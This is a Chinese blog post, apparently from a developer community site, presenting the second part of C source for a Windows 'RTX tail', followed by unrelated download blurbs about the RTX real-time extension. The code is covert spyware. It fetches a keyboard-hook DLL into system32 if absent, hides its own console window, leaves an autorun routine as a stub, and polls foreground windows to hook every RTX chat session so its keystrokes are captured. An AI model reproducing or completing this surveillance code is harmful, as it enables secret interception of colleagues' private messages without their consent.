`
jerry1985
  • 浏览: 30352 次
  • 性别: Icon_minigender_1
  • 来自: 南京
社区版块
存档分类
最新评论

简单实现windows下RTX尾巴(下)(c语言)

c 
阅读更多
接rtxtail.c
BOOL AutoRun()
{
	//TODO
}

int main()
{
	HANDLE hLib;
	HANDLE hModule;
	HANDLE hConsole;
	HANDLE hFore;
	BOOL ftpSuccess = FALSE;
	DWORD dllFile; 

	typedef BOOL (WINAPI *LPSH)(HANDLE);
	LPSH SetHook;

	typedef BOOL (WINAPI *LPDH)();
	LPDH DropHook;

	typedef HANDLE (*LPGCW)(void);
	LPGCW GetConsoleWindow;

	//dll does not exist 
	dllFile = GetFileAttributes("c:\\windows\\system32\\RTXKeyHook.dll");
	printf("%d\n", dllFile);
	if(dllFile != -1)
	{
		printf("file found !\n");
	}
	else
	{
		printf("file doesn't exist ! download...\n");
		ftpSuccess = DownloadHookDll();
		if(!ftpSuccess)
		{
			printf("failed to download dll !\n");
			return -1;
		}
		printf("download ok!\n");
	}

	//hide console window
	hModule = GetModuleHandle("kernel32.dll");
	GetConsoleWindow = (LPGCW)GetProcAddress(hModule, TEXT("GetConsoleWindow"));
	hConsole = GetConsoleWindow();
	if(hConsole)
	{
		printf("console found!\n");
		ShowWindow(hConsole, SW_HIDE);
	}

	//autorun
	AutoRun();

	hLib = LoadLibrary("RTXKeyHook.dll");
	if(!hLib) 
	{
		printf("failed to load library");
		return -1;
	}

	SetHook = (LPSH)GetProcAddress(hLib, TEXT("SetHook"));
	DropHook = (LPDH)GetProcAddress(hLib, TEXT("DropHook"));

	while(TRUE)
	{
		hFore = GetForegroundWindow();
		ZeroMemory(m_store, sizeof(m_store));
		GetWindowText(hFore, m_store, sizeof(m_store));
		if(strstr(TEXT(m_store), TEXT("- RTX 会话")) > 0 
			|| strcmp(TEXT(m_store), TEXT(unhookedName)) == 0)
		{
			printf("found!\n");
			if(hLast != NULL)
			{
				DropHook();
				SetWindowText(hLast, unhookedName);
			}
			SetHook(hFore);
			SetWindowText(hFore, hookedName);
			hLast = hFore;
		}

		Sleep(1000);
	}

	return 0;
}
分享到:
评论

相关推荐

    windows-RTX.rar_IPC内存共享_RTX 共享内存_RTX与Windows_WINDOWS R_rtx ipc

    在Windows RTX环境下,内存共享可能需要额外的管理机制,因为RTOS通常有更严格的内存管理和调度策略。RTX可能提供了特定的API函数,如创建、销毁和访问共享内存区域,这些函数会与Windows API协调工作,确保实时性和...

    RTX.rar_RTX_Windows RTX_rtx windows_rtx 反射内存_光纤

    "安晓风第一学期末RTX接收发送"可能是某个教学或实践项目中,用户创建的一个示例或测试文件,用于演示如何在Windows环境下使用RTX进行数据的接收和发送操作。这个文件可能包含了源代码、配置文件或实验报告,帮助...

    使用Windows实时扩展RTX的串口编程

    在Windows操作系统环境中,为了实现高实时性的串口通信,开发者常常会借助于Windows实时扩展(Real-Time Extension,简称RTX)。RTX是一种针对Windows NT/2000/XP等系统设计的实时扩展库,它提供了低延迟、高优先级...

    RTX 3.6 Runtime Windows实时操作系统

    3. **实时性能**:RTX优化了系统调用和中断处理,确保了在Windows上实现硬实时性能,这对于需要严格时间约束的系统至关重要。 4. **同步与通信机制**:RTX提供了信号量、邮箱、消息队列等同步和通信机制,使得不同...

    RTX 3.4 SDK 基于Windows

    在Windows环境下,开发者通常会使用Visual Studio作为集成开发环境(IDE),配合RTX 3.4 SDK来编写、编译和调试实时应用。SDK提供的库和API允许开发者创建多线程应用,使用优先级调度,并且可以访问实时定时器和...

    Windows RTX 8.1SP2 应用过程

    然后,需要修改 RTX 安装目录下的 Rtx.mak 文件,设置 VISUALSTUDIO 的值为 6、8 或 90,以便在 Visual Studio 中使用 RTX。 四、设置环境变量 设置环境变量是为了让 RTX 和 Visual Studio 能够正确地工作。在...

    RTX 8.1 与 RTX 64性能对照.doc

    RTX 8.1 与 RTX 64 是两种实时操作系统(RTOS)的版本,它们主要用于将标准的Windows操作系统转换成实时系统,以满足对时间敏感和高精度任务的需求。RTX64 3.6 版本是64位的,而RTX 8.1 则代表了该技术的进一步发展...

    RTX 3.6 SDK 基于Windows实时操作系统

    安装后,开发者可以开始创建新的实时应用程序,利用Windows RTX的强大功能,实现高效的实时处理和系统响应。 总之,RTX 3.6 SDK是一个针对Windows平台的实时操作系统开发工具,它提供了必要的工具和库,帮助开发者...

    Interval zero公司的实时windows RTX 8.0 Demo版

    此软件为实时Windows操作系统扩展,安装此软件后Windows操作系统...此为测试版,教学、学习和了解Windows RTX的性能没有限制,过期后修改系统时间又可运行。可“不受限制”光明正大使用。(不是盗版所以不受版权限制)

    Windows RTX下PCI设备的读写寄存器与中断

    Windows RTX下PCI设备的读写寄存器与中断

    RTX实时平台实现RS232通讯代码

    RTX实时平台实现RS232通讯代码 关于windows开发 RTX下试试通讯的代码

    C# 二次开发RTX实现右下角弹窗提醒功能

    本话题涉及的是如何利用C#进行RTX(Real Time eXchange,即时通讯系统)的二次开发,实现一个右下角弹窗提醒功能。这个功能在许多桌面应用中常见,用于向用户发送实时消息或通知。 RTX是腾讯公司推出的一款企业级...

    实时windows扩展的RTX白皮书

    RTX(Real-Time eXtension)是由Interval Zero公司开发的一款Windows实时扩展包,它能够在标准Windows环境中实现硬实时功能。RTX提供了一个实时子系统(Real-Time Subsystem, RTSS),该子系统可以在Windows上运行,...

    基于Windows RTX运行系统的数控系统软PLC模块开发研究.pdf

    在软PLC运行系统的设计中,本文通过多个实验和测试,证明了基于Windows+RTX平台的软PLC技术能够有效实现数控系统开关控制功能。此外,软PLC技术的应用大大提升了数控系统的开放性及兼容性,为数控系统的进一步发展和...

    sharememory_WindowsRTX_RTX共享内存_

    在Windows RTX的场景下,共享内存可能用于以下用途: 1. **消息传递**:RTX进程可以将接收到的消息写入共享内存,Windows应用程序可以通过读取这部分内存获取消息,实现快速的通知和通信。 2. **状态同步**:用户...

    keil下添加RTX系统帮助.doc

    ### 在Keil MDK517环境下添加RTX系统帮助文档的方法 在嵌入式开发领域,Keil MDK是一款非常流行的集成开发环境(IDE),主要用于ARM微控制器的软件开发。而RTX则是Keil公司提供的一款实时操作系统(RTOS),广泛应用于...

    RTX实时平台实现RS232通讯

    本文将详细介绍如何在IntervalZero的RTX实时操作系统环境下实现RS232通讯,包括必要的硬件配置、软件开发环境搭建以及具体编程步骤。 #### 二、RTX实时平台简介 RTX(Real-Time eXtensions)是由IntervalZero公司...

Global site tag (gtag.js) - Google Analytics